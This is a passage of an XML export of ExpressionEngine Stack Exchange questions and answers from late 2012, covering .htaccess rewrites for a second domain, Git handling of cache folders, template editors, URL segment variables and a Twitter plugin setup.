  <row Id="708" PostTypeId="2" ParentId="695" CreationDate="2012-11-28T21:32:42.753" Score="4" Body="&lt;p&gt;Did you guys have a look at &lt;a href=&quot;https://github.com/ckimrie/ee-data-api&quot; rel=&quot;nofollow&quot;&gt;Chris Imrie's data api add-on on github&lt;/a&gt;. Still alpha but interesting nonetheless.&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2012-11-28T21:32:42.753" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="709" PostTypeId="2" ParentId="695" CreationDate="2012-11-28T21:37:13.573" Score="3" Body="&lt;p&gt;Nope, there's no native EE method of outputting a template as JSON. The HTTP Header plugin is exactly what you need. Just &lt;a href=&quot;http://json.org/&quot; rel=&quot;nofollow&quot;&gt;format your template in JSON&lt;/a&gt; and you're good to go.&lt;/p&gt;&#xA;" OwnerUserId="5" LastActivityDate="2012-11-28T21:37:13.573" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="710" PostTypeId="2" ParentId="662" CreationDate="2012-11-28T21:38:02.017" Score="1" Body="&lt;p&gt;User accessible low variables in a homepage &quot;group&quot; (one per featured &quot;zone&quot;) and a low variable using select entries?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No real need for Playa here IMHO. Simplified process. Maybe users can do it themselves, provided that if nothing is selected, the latest entry or some other fallback gets displayed instead.&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2012-11-28T21:38:02.017" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="712" PostTypeId="2" ParentId="704" CreationDate="2012-11-28T21:42:44.083" Score="1" Body="&lt;p&gt;I do this with one website with the following setup:&#xA;Both domains point to the same directory&lt;br&gt;&#xA;(second.com is a ServerAlias for main.com)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in the main domain .htaccess redirects requests for second.com to a subdirectory &quot;other&quot;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;### second.com to directory&#xA;RewriteCond %{HTTP_HOST} second.com$ [NC]&#xA;RewriteCond %{REQUEST_URI} !^/(other)&#xA;RewriteCond %{REQUEST_URI} !\.(jpe?g|js|gif|png|xml|swf|bmp|css|pdf)$&#xA;RewriteRule ^(.*)$ other/$1 [L]&#xA;&#xA;### all requests to EE index.php&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteCond %{REQUEST_URI} !\.(jpe?g|js|gif|png|bmp|swf|xml|css|html?|pdf)$&#xA;RewriteRule ^(.*)$ index.php?/$1 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in the &quot;other&quot; directory the htaccess redirects to a 'hard' template group&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;### Allow some of the 'real' template groups&#xA;RewriteCond $1 ^(specialgroup|sometemplategroup)&#xA;RewriteRule ^(.*)$ index.php?/$1 [L]&#xA;&#xA;### All others go to hardcoded template group other/$1&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteCond %{REQUEST_URI} !\.(jpe?g|js|gif|png|bmp|xml|css|html?|swf|pdf)$&#xA;RewriteRule ^(.*)$ index.php?/other/$1 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the index.php for the subdirectory, setup some config variables&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$assign_to_config['template_group'] = 'other';&#xA;$assign_to_config['template']       = 'welcome';&#xA;$assign_to_config['site_404']       = 'other/404';&#xA;&#xA;$assign_to_config['site_name']  = 'My Other Site';&#xA;$assign_to_config['site_url']   = 'http://second.com/';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To be able to actually use the &quot;site_name&quot; and for it to work,&#xA;you need to hack the core&#xA;&lt;a href=&quot;https://support.ellislab.com/bugs/detail/15461/#8283&quot; rel=&quot;nofollow&quot;&gt;https://support.ellislab.com/bugs/detail/15461/#8283&lt;/a&gt;&lt;br&gt;&#xA;or install an extension i developed for this.&lt;br&gt;&#xA;&lt;a href=&quot;http://devot-ee.com/add-ons/override_site_name&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/override_site_name&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;internally the 'real' segments will be &lt;code&gt;second.com/other/about&lt;/code&gt;&lt;br&gt;&#xA;while the browser only shows &lt;code&gt;second.com/about&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;the &quot;allow some real template groups&quot; part, allows to show &#xA;member pages or 'real' template groups like the &lt;code&gt;/specialgroup&lt;/code&gt; or &lt;code&gt;/members&lt;/code&gt; without prepending &lt;code&gt;other&lt;/code&gt; to the url.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;all assets (images, pdf, css, etc) still come from the main directory. The subdirectory 'other' only has an .htaccess and the index.php file in there.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="155" LastEditorUserId="155" LastEditDate="2012-11-29T07:36:13.717" LastActivityDate="2012-11-29T07:36:13.717" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="713" PostTypeId="2" ParentId="388" CreationDate="2012-11-28T21:51:21.573" Score="2" Body="&lt;p&gt;I have actually been thinking about coding an add-on that holds the licensing and technical information for all our sites and at the same time check the status of site (is it still online?). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I ever get the time I'll probably get to work on this, but I don't see that happening any time soon.&lt;/p&gt;&#xA;" OwnerUserId="76" LastActivityDate="2012-11-28T21:51:21.573" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="714" PostTypeId="1" AcceptedAnswerId="733" CreationDate="2012-11-28T22:35:26.880" Score="6" ViewCount="1406" Body="&lt;p&gt;I'm using Git for version control and have been battling with the system/expressionengine/cache folder a bit. Someone had removed it from the repo using an ignore, but then we got php errors because the latest version file could not be found. Add ons like Channel Images use this folder to cache some files. I've been putting git ignore files in these folders:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Ignore everything in this directory&#xA;*&#xA;# Except this file&#xA;!.gitignore&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This leaves the folder in the repo, but keeps it empty. Seems to work, but wonder if there is a better way.&lt;/p&gt;&#xA;" OwnerUserId="80" LastEditorUserId="16" LastEditDate="2012-11-28T22:46:43.583" LastActivityDate="2012-12-01T22:46:32.620" Title="How to manage EE Cache files in Git?" Tags="|git|cache|repo|cache-folder|.gitignore|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="715" PostTypeId="1" AcceptedAnswerId="757" CreationDate="2012-11-28T22:47:02.373" Score="2" ViewCount="162" Body="&lt;p&gt;Unfortunately the documentation for &lt;a href=&quot;http://www.causingeffect.com/software/expressionengine/ce-tweet&quot; rel=&quot;nofollow&quot;&gt;CE Tweet&lt;/a&gt; is unclear so I would like to query the set up and to be guided in the right direction. How do I configure my twitter account details into the plugin?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As mentioned in the CE Tweet documentation I have a created a channel named &lt;code&gt;twitter&lt;/code&gt; and a channel field group titled &lt;code&gt;{tweet_feed}&lt;/code&gt;. I am trying to setup a single tweet feed on my site. First I have added &lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;//platform.twitter.com/widgets.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt; into my template, then I have embedded the following code into my template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:ce_tweet:user_timeline field=&quot;tweet_feed&quot; screen_name=&quot;CharlesCompany&quot; lang:en' count=&quot;1&quot;}&#xA;  &amp;lt;div class=&quot;ce_tweet&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;ce_tweet_left&quot;&amp;gt;&#xA;      &amp;lt;a class=&quot;ce_tweet_username&quot; href=&quot;http://twitter.com/{user_screen_name}&quot; target=&quot;_blank&quot;&amp;gt;&amp;lt;img src=&quot;{user_profile_image_url}&quot; alt=&quot;{alt}&quot; /&amp;gt;&amp;lt;/a&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!--CE TWEET LEFT ENDS HERE--&amp;gt;&#xA;    &amp;lt;div class=&quot;ce_tweet_right&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;ce_tweet_row&quot;&amp;gt;&#xA;            &amp;lt;a class=&quot;ce_tweet_username&quot; href=&quot;http://twitter.com     user_screen_name}&quot; target=&quot;_blank&quot;&amp;gt;{user_name}&amp;lt;/a&amp;gt;&#xA;            &amp;lt;a class=&quot;ce_tweet_name&quot; href=&quot;http://twitter.com/{user_screen_name}&quot; target=&quot;_blank&quot;&amp;gt;{user_screen_name}&amp;lt;/a&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&amp;lt;!-- .ce_tweet_row --&amp;gt;&#xA;        &amp;lt;div class=&quot;ce_tweet_row ce_tweet_text&quot;&amp;gt;{text}&amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;ce_tweet_row ce_tweet_actions&quot;&amp;gt;&#xA;            &amp;lt;a class=&quot;ce_tweet_time&quot; href=&quot;https://twitter.com/{user_screen_name}/statuses/{id_str}&quot; title=&quot;{created_at format=&quot;%g:%i %A, %M %j%S (%T)&quot;}&quot; target=&quot;_blank&quot;&amp;gt;&amp;lt;span class=&quot;icon-twitter&quot;&amp;gt;&amp;lt;/span&amp;gt; {created_at_relative}&amp;lt;/a&amp;gt;&#xA;            &amp;lt;a class=&quot;ce_tweet_reply&quot; href=&quot;https://twitter.com/intent/tweet?in_reply_to={id_str}&quot; target=&quot;_blank&quot;&amp;gt;&amp;lt;span&amp;gt;Reply&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt;&#xA;            &amp;lt;a class=&quot;ce_tweet_retweet{if retweeted} ce_tweet_retweeted{/if}&quot; href=&quot;https://twitter.com/intent/retweet?tweet_id={id_str}&quot; target=&quot;_blank&quot;&amp;gt;&amp;lt;span&amp;gt;Retweet&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt;&#xA;            &amp;lt;a class=&quot;ce_tweet_favorite{if favorited} ce_tweet_favorited{/if}&quot; href=&quot;https://twitter.com/intent/favorite?tweet_id={id_str}&quot; target=&quot;_blank&quot;&amp;gt;&amp;lt;span&amp;gt;Favorite&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&amp;lt;!-- .ce_tweet_row --&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!-- .ce_tweet_right --&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&amp;lt;!--CE TWEET ENDS HERE --&amp;gt; &#xA;{/exp:ce_tweet:user_timeline}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My confusion is what else I need to add in order for my tweets to be visible on my site?&lt;/p&gt;&#xA;" OwnerUserId="459" LastEditorUserId="104" LastEditDate="2012-11-29T00:00:25.793" LastActivityDate="2012-11-29T12:35:06.593" Title="CE Tweet Plugin set up issue" Tags="|templates|plugin|tags|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="716" PostTypeId="2" ParentId="714" CreationDate="2012-11-28T22:51:38.003" Score="8" Body="&lt;p&gt;A possibly &lt;em&gt;cleaner&lt;/em&gt; way would be to have it in your .gitignore at the root level of your repo...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;system/expressionengine/cache/*&#xA;!system/expressionengine/cache/.gitignore&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;... that way everything's centralized in that one .gitignore. However it's &lt;em&gt;my&lt;/em&gt; preferred method to have multiple .gitignore files (like your example above), one in each &quot;empty&quot; directory that I want to have tracked in the repo.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd say it boils down to personal preference.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Updated / Extended Answer:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's been pointed out by @DomStubbs below that it would be cleaner to globally track all .gitignore files with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;!.gitignore&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you do that, then you can remove:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;!system/expressionengine/cache/.gitignore&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Globally tracking all .gitignore files also means that the .gitignore in each &quot;empty&quot; directory &lt;em&gt;should&lt;/em&gt; be a blank file, as it effectively turns into a placeholder like the .gitkeep file that @AdrianMacneil mentions in &lt;a href=&quot;https://expressionengine.stackexchange.com/a/737/445&quot;&gt;his answer&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So that all said, here's an example of what the &quot;Ignore Cache Files&quot; section of your root-level .gitignore could look like if you used the &quot;empty placeholder .gitkeep/.gitignore&quot; method:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Track all .gitignore files&#xA;!.gitignore # or !.gitkeep if you prefer&#xA;&#xA;# Ignore all cache files&#xA;system/expressionengine/cache/*&#xA;some/other/path/cache/*&#xA;yet/another-path/cache/*&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But that's only if you want to 1) explicitly define all &quot;empty&quot; directories that you want to track in the root .gitignore &lt;em&gt;and&lt;/em&gt; 2) put a &lt;strong&gt;blank&lt;/strong&gt; placeholder .gitkeep/.gitignore in every &quot;empty&quot; directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think that it's much easier to manage which &quot;empty&quot; directories to track by using the .gitignore that @Doug refers to in &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/714/how-to-manage-ee-cache-files-in-git/&quot;&gt;the original question&lt;/a&gt;. Want to declare a directory as &quot;empty&quot; and ignore its contents? Throw in the .gitignore file. Want to start tracking the contents? Delete the .gitignore file. Want to stop tracking the directory entirely? Delete the .gitignore file and exclude the directory in the root .gitignore file. This is more efficient because there is only ever one point of reference for the tracking state of these &quot;empty&quot; directories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have now spent far too much time thinking about this topic. :-) However, I am now much more pleased with the &quot;exclude-everything-but-me .gitignore&quot; method. Thanks, everyone!&lt;/p&gt;&#xA;" OwnerUserId="445" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2012-12-01T22:46:32.620" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="717" PostTypeId="2" ParentId="714" CreationDate="2012-11-28T22:56:50.077" Score="2" Body="&lt;p&gt;You probably got errors because EE couldn't find the cache folder. I'm new to git, and I have all my ignore rules in one file in the root and there I have this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Cache&#xA;/ee-admin/expressionengine/cache/*&#xA;/public_html/cache/*&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="281" LastActivityDate="2012-11-28T22:56:50.077" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="718" PostTypeId="1" AcceptedAnswerId="720" CreationDate="2012-11-28T23:01:20.420" Score="2" ViewCount="715" Body="&lt;p&gt;I'm not too happy with EE's template editor. It would be nice to have the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Show line numbers (and column numbers maybe)&lt;/li&gt;&#xA;&lt;li&gt;Tab support&lt;/li&gt;&#xA;&lt;li&gt;Ability to increase the height of the editor&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Are there any options for me?&lt;/p&gt;&#xA;" OwnerUserId="324" LastEditorUserId="131" LastEditDate="2012-11-29T01:47:09.467" LastActivityDate="2014-06-26T08:11:45.160" Title="What are options for a better built-in template editor?" Tags="|templates|" AnswerCount="8" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="719" PostTypeId="2" ParentId="718" CreationDate="2012-11-28T23:05:41.040" Score="4" Body="&lt;p&gt;Enable template-files and use any Code Editor isn't an option?&lt;/p&gt;&#xA;" OwnerUserId="184" LastActivityDate="2012-11-28T23:05:41.040" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="720" PostTypeId="2" ParentId="718" CreationDate="2012-11-28T23:06:46.003" Score="20" Body="&lt;p&gt;You can (and should) &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/templates_as_files.html&quot;&gt;save templates as files&lt;/a&gt; and then use the editor of your choice (as well as version your templates with Git/SVN/whatever).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If for some reason that isn't an option for you there's &lt;a href=&quot;http://devot-ee.com/add-ons/editee&quot;&gt;Editee&lt;/a&gt; which is an extension that extends the CP template editor to make it more usable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; There's also &lt;a href=&quot;http://devot-ee.com/add-ons/theeditor&quot;&gt;ThEEditor&lt;/a&gt; and its &lt;a href=&quot;http://codemirror.net/&quot;&gt;Code Mirror&lt;/a&gt; based derivative &lt;a href=&quot;http://devot-ee.com/add-ons/theeditorcodemirror&quot;&gt;ThEEditorCodeMirror&lt;/a&gt;, which though I haven't used it looks excellent for those times you &lt;strong&gt;have&lt;/strong&gt; to use the template editor (eg because you're halfway up a mountain in the Alps with only an iPhone: true story...).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are a Mac user, a third option is &lt;a href=&quot;http://devot-ee.com/add-ons/mountee&quot;&gt;Mountee&lt;/a&gt; which lets you mount  your EE templates (and snippets and more) as files in finder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Personally I would go with templates as text files though - my general rule is whatever you &lt;em&gt;can&lt;/em&gt; get out of the DB you &lt;em&gt;should&lt;/em&gt; - it makes everything from versioning to moving between environments much easier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;EDIT: If you wish you can even go so far as to &lt;a href=&quot;http://devot-ee.com/add-ons/disable-template-editor&quot;&gt;disable the template editor for templates saved as files&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="104" LastEditorUserId="104" LastEditDate="2012-12-06T09:22:34.817" LastActivityDate="2012-12-06T09:22:34.817" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="721" PostTypeId="2" ParentId="718" CreationDate="2012-11-28T23:09:52.177" Score="1" Body="&lt;p&gt;There are other options. The best (and only) option for me is to save the templates as files and then edit them with whatever editor I please.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/templates_as_files.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/templates/templates_as_files.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't care what features Ellislab is able to provide for template editing. The template editor will never be my home. It will never have the setup / layout of my primary editor. It will never have the flexibility that I reqiure. It will never be Vim!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, web based editors are coming a long way. I suppose Ellislab could look at the available options which are gunning for replacing desktop editors.&lt;/p&gt;&#xA;" OwnerUserId="274" LastActivityDate="2012-11-28T23:09:52.177" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="722" PostTypeId="2" ParentId="718" CreationDate="2012-11-28T23:10:23.927" Score="0" Body="&lt;p&gt;Even you &lt;em&gt;should&lt;/em&gt; save your templates as files, there are solutions you can try &lt;a href=&quot;http://devot-ee.com/add-ons/editee&quot; rel=&quot;nofollow&quot;&gt;Editee&lt;/a&gt; addon will do the job you are asking, or you could try Mountee app (mac only) to edit your templates in your favorite editor.&lt;/p&gt;&#xA;" OwnerUserId="281" LastActivityDate="2012-11-28T23:10:23.927" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="723" PostTypeId="2" ParentId="715" CreationDate="2012-11-28T23:12:25.960" Score="2" Body="&lt;p&gt;If you want tweets made by user CharlesCompany then you should be using the &lt;code&gt;user_timeline&lt;/code&gt; tag which can be found here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.causingeffect.com/software/expressionengine/ce-tweet/tags/user_timeline&quot; rel=&quot;nofollow&quot;&gt;http://www.causingeffect.com/software/expressionengine/ce-tweet/tags/user_timeline&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The search tag is for making search queries and is what you seem to be using in your code.&lt;/p&gt;&#xA;" OwnerUserId="16" LastActivityDate="2012-11-28T23:12:25.960" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="724" PostTypeId="1" AcceptedAnswerId="727" CreationDate="2012-11-28T23:14:17.613" Score="3" ViewCount="350" Body="&lt;p&gt;Is there a variable I can use to determine that name of the template that is currently being accessed/displayed? For example, if I have a &lt;code&gt;/pages/home/&lt;/code&gt; template, inside the &lt;code&gt;home&lt;/code&gt; template I'd like to know it's called &quot;home&quot;. Possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I plan to use this variable for the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;assigning an id to the &lt;code&gt;&amp;lt;body&amp;gt;&lt;/code&gt; tag&lt;/li&gt;&#xA;&lt;li&gt;determining if the navigation is &quot;active&quot; or not (it's active if user is on the page where the navigation points to)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="324" LastEditorUserId="324" LastEditDate="2012-11-28T23:19:47.970" LastActivityDate="2012-11-30T18:16:09.460" Title="How to tell what page I am on inside a template?" Tags="|templates|template-scripting|" AnswerCount="8" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="725" PostTypeId="2" ParentId="724" CreationDate="2012-11-28T23:28:11.610" Score="0" Body="&lt;p&gt;Would {segment_2} variable do the job you are asking?&#xA;You could also do simple check &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_2 == &quot;home&quot;}Do happy dance{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="281" LastActivityDate="2012-11-28T23:28:11.610" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="726" PostTypeId="2" ParentId="724" CreationDate="2012-11-28T23:29:20.533" Score="0" Body="&lt;p&gt;For the two scenarios you posted you could do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;body {if segment_1}id=&quot;{segment_1}&quot;{/if}&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So if you are on yoursite/about then you'd see id=&quot;about&quot;.  If you are on yoursite.com/contact then you'd see id=&quot;contact&quot;.  If you were on the home page, there would be no id. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the second, you could do the same with the {segment_#} parameter:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;li {if segment_1 == &quot;about&quot;}class=&quot;active&quot;{/if}&amp;gt;&amp;lt;a href=&quot;/about&quot;&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There are more advanced/dynamic ways of handling the active class as well. &lt;/p&gt;&#xA;" OwnerUserId="111" LastActivityDate="2012-11-28T23:29:20.533" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="727" PostTypeId="2" ParentId="724" CreationDate="2012-11-28T23:30:36.200" Score="4" Body="&lt;p&gt;I typically accomplish this based on URL, using segment variables. For instance:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;body id=&quot;{segment_1}&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can also use if statements to add classes to your navigation, then target those classes in CSS:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;&quot; class='{if segment_1 == &quot;foo&quot;}foo{/if}'&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Additionally, if you're using embeds and want to carry info about the template in question into the embedded template, you can use embed variables:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;template&quot; section=&quot;foo&quot; title=&quot;bar&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the above example, section and title are custom defined, you can call these variables whatever you want, then access them in the embedded template like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed:section}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="280" LastActivityDate="2012-11-28T23:30:36.200" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="728" PostTypeId="2" ParentId="724" CreationDate="2012-11-28T23:31:15.640" Score="1" Body="&lt;p&gt;Would NSM Body Class work for you? &lt;a href=&quot;http://ee-garage.com/nsm-body-class&quot; rel=&quot;nofollow&quot;&gt;http://ee-garage.com/nsm-body-class&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It &quot;generates a class='' attribute value from embed template parameters allowing greater CSS styling of templates.&quot;&lt;/p&gt;&#xA;" OwnerUserId="105" LastActivityDate="2012-11-28T23:31:15.640" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="729" PostTypeId="2" ParentId="724" CreationDate="2012-11-28T23:32:15.273" Score="1" Body="&lt;p&gt;In addition to {segment_1}, {segment_2} ... {segment_9}, there is also a {last_segment} variable in EE 2. There are a lot of ways that these can be used, but a few potential uses would be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_1 = last_segment}{redirect=&quot;/&quot;}{/if}&#xA;&#xA;&amp;lt;a href=&quot;{segment_1}/{segment_2}/step_2&quot;&amp;gt;Move along to Step 2&amp;lt;/a&amp;gt;&#xA;&#xA;{if last_segment = 'home'}&#xA;    ...&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Sitenote: As you become more experienced with ExpressionEngine, you may learn that some {if} blocks are parsed early, and others are parsed later. Both of the blocks in the sample above are parsed early.&lt;/p&gt;&#xA;" OwnerUserId="460" LastEditorUserId="460" LastEditDate="2012-11-30T18:16:09.460" LastActivityDate="2012-11-30T18:16:09.460" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="730" PostTypeId="2" ParentId="715" CreationDate="2012-11-28T23:32:18.740" Score="0" Body="&lt;p&gt;For the search query, you would need to have additional tags withing {results}{/results}.  see: &lt;a href=&quot;http://www.causingeffect.com/software/expressionengine/ce-tweet/tags/search&quot; rel=&quot;nofollow&quot;&gt;http://www.causingeffect.com/software/expressionengine/ce-tweet/tags/search&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="111" LastActivityDate="2012-11-28T23:32:18.740" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="731" PostTypeId="2" ParentId="724" CreationDate="2012-11-28T23:33:46.320" Score="0" Body="&lt;p&gt;There is an add-on that might help for setting the body class:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/clasee-body&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/clasee-body&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using a &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/globals/url_segments.html&quot; rel=&quot;nofollow&quot;&gt;url segment variables&lt;/a&gt; and conditionals is another option for setting the body class  and the active stage though, I see other have posted that option right as I was typing so, I won't add the code again.&lt;/p&gt;&#xA;" OwnerUserId="16" LastActivityDate="2012-11-28T23:33:46.320" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="732" PostTypeId="2" ParentId="724" CreationDate="2012-11-28T23:40:15.423" Score="1" Body="&lt;p&gt;Based on your example, use {segment_2} to identify the template in use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If using the template for different pages, or using Structure, I may also add an html comment to identify the template - while in dev.&lt;/p&gt;&#xA;" OwnerUserId="202" LastActivityDate="2012-11-28T23:40:15.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="733" PostTypeId="2" ParentId="714" CreationDate="2012-11-28T23:43:42.890" Score="10" Body="&lt;p&gt;Since Git can currently &lt;a href=&quot;https://git.wiki.kernel.org/index.php/GitFaq#Can_I_add_empty_directories.3F&quot;&gt;only stage files and not empty directories&lt;/a&gt;, the only purely Git based solution is to do as you are now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An alternative approach is to include a bash script in your repo that creates any required cache directories if the do not exist and (importantly) sets permissions on these directories (which often needs to be &lt;code&gt;755&lt;/code&gt;/&lt;code&gt;777&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The advantage of this approach comes when you need to deploy to a new server/get a new dev up and running on an install - you no longer have to manually check permissions etc - just run the script and everything will be in it's right place. I use &lt;a href=&quot;http://deployhq.com&quot;&gt;DeployHQ's&lt;/a&gt; post-deploy script functionality to do this when deploying 